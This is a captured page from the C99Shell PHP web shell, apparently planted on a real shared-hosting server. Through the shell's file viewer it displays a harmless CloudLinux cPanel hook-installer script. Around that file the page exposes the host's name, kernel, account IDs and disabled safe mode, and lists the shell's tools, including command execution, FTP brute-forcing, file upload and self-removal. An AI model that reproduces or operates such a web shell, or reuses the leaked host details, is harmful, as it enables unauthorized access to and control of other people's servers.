!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/hooks/   drwxr-xr-x
Free 293.99 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     additional_hooks.py (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding:utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import absolute_import

import sys

from clcommon.public_hooks.bundle import install_hooks, remove_hooks
from clcommon.public_hooks.bundle.cpanel import Hook as cpanel_hook
from clcommon.public_hooks import setup_logger_and_sentry
from cldetectlib import is_cpanel


_BASE_DIR = '/usr/share/cloudlinux/wpos'


def hooks():
    """
    Define list of hooks per panel
    """
    if is_cpanel():
        _ADMIN_HOOK = _BASE_DIR + '/cpanel/admin_disable_caching.py'
        _USER_HOOK = _BASE_DIR + '/cpanel/user_disable_caching.py'
        _HOOKS = [
            cpanel_hook(_ADMIN_HOOK, 'Whostmgr', 'Lang::PHP::set_vhost_versions', 'pre'),
            cpanel_hook(_ADMIN_HOOK, 'Whostmgr', 'Lang::PHP::set_vhost_versions', 'post'),
            cpanel_hook(_USER_HOOK, 'Cpanel', 'UAPI::LangPHP::php_set_vhost_versions', 'pre'),
            cpanel_hook(_USER_HOOK, 'Cpanel', 'UAPI::LangPHP::php_set_vhost_versions', 'post'),
        ]
    else:
        _HOOKS = list()

    return _HOOKS


def main(argv):
    """
    Install or delete cpanel event hook
    """
    success = True
    _hooks = hooks()
    if _hooks:
        if "-i" in argv:
            success = install_hooks(_hooks)
        elif "-d" in argv:
            success = remove_hooks(_hooks)
        else:
            success = False
    return int(not success)


if "__main__" == __name__:
    # in fact this is only wrapper for
    # hooks logic located in cllib
    # so we can just use cllib sentry here
    setup_logger_and_sentry()
    sys.exit(main(sys.argv[1:]))

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1978 ]--